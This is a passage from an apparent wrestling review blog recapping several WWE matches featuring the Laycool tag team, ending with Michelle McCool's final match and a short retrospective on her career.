Kelly is all fired up here and beats up both members of Laycool with her gymnastics. Instead though Michelle catches a rana on the floor and spins Kelly into the barricade. That gets two back in the ring. Dolph: “Stay down Barbie!” Layla in now as Kelly is in trouble. Belly to belly by Michelle gets two. Kelly backflips out of a suplex and slaps the heck out of McCool to put both girls down.

Is there a reason why the initials on Dolph’s tights are backwards? Layla gets a head scissors choke on Kelly for a bit. Kelly fights back and it’s an X-Factor to break the momentum. The referee misses the tag to Edge allows Layla to beat on Kelly a bit more. Edge goes after Ziggler anyway but Michelle misses a big kick to Layla. Edge is ready for the tag but instead Kelly spears Layla to retain the world title at 6:50 shown of 10:20.

Rating: C. Decent main event here with a nice ending. Vickie said Edge couldn’t use a spear, not Kelly. It’s kind of cheap but it worked just fine for the ending to a TV main event. I’d have liked more Edge though as he was in there maybe a minute. I guess that was the point though as it made the title seem to be in jeopardy. This was just ok though as it was really Kelly vs. Laycool for the most part. Still though, creative way to have Edge be in trouble.

Here’s one of Laycool’s final matches together as the problems are mounting up. From Wrestlemania XXVII.

John Morrison/Snooki/Trish Stratus vs. Laycool/Dolph Ziggler

Barely any story here as it’s just there to give us Snooki, which is supposed to mean something. Vickie is with Laycool here because she’s already screwing Dolph at this point. Trish is STUNNING as a brunette here too. Laycool attacks to start and the guys get involved as well. Michelle shoves Layla to start so Trish comes in and beats Michelle up. The Matrish is broken up with a stomp but Trish escapes the Faithbreaker (Styles Clash) with a facebuster.

Michelle and Stratus slug it out on the top before falling to the floor at the same time. Layla tries to interfere and gets decked as well, only to have Trish dive off the apron and take both of them out. The Chick Kick gets two on Michelle as the guys come in sans tags. Starship Pain to the floor takes Ziggy out and there’s the tag to Snooki for a handspring elbow to Michelle. That and a splash are good for the pin.

Rating: D+. Trish and Laycool looked hot, Snooki did her two moves decently enough, the guys did almost nothing at all and Vickie was kept to a minimum in the less than three and a half minutes this ran. For a match that short with Trish looking that good, how much can you really complain here? Laycool would be split in a month with Michelle leaving the company.

We’ll wrap it up with Michelle’s last match in WWE, from Extreme Rules 2011.

Michelle McCool vs. Layla

More or less a street fight here and the loser leaves WWE. Michelle wisely jumps Layla during her lay on the rope entrance. Out to the floor as this is another intense brawl. A shot into the table gets two for Michelle. Big boot misses and here comes Layla. Belly to belly gets two for Michelle as we hit the floor again.

They fight on the barrier of all things with Michelle taking over. DIAMOND DUST gets two for Layla as they come back in. Faithbreaker is countered into the Layout for two. Michelle counters a jackknife cover into a Faithbreaker (Styles Clash) but can’t cover immediately. Layla counters the cover into a rollup/crucifix pin to get rid of Michelle.

Rating: C+. I liked this again. The Divas can do pretty well if they’re given the proper amount of time. Layla winning here is probably due to Michelle leaving soon if not tonight apparently which is fine. Definitely one of the better matches with the females in awhile as this worked fine. Layle is getting a lot better every time she gets in there, which is definitely a good sign.

Layla cries as she leaves.

Michelle gets the goodbye song treatment but Kharma (Awesome Kong) debuts. Implant Buster kills Michelle dead with ease. All of the Divas are freaked out. Beth is made to look the most prominent here.

Michelle McCool is a woman with a very simple formula: tall, blonde, good looking, small outfits, passable in the ring. She gets a lot of the HHH treatment as people say it’s just because of her spouse but Michelle was good long before then. The Laycool team was a perfect fit for her and I had fun watching her. She and Layla carried the Divas division for a long time and they made it work better than anyone in the years around their time.

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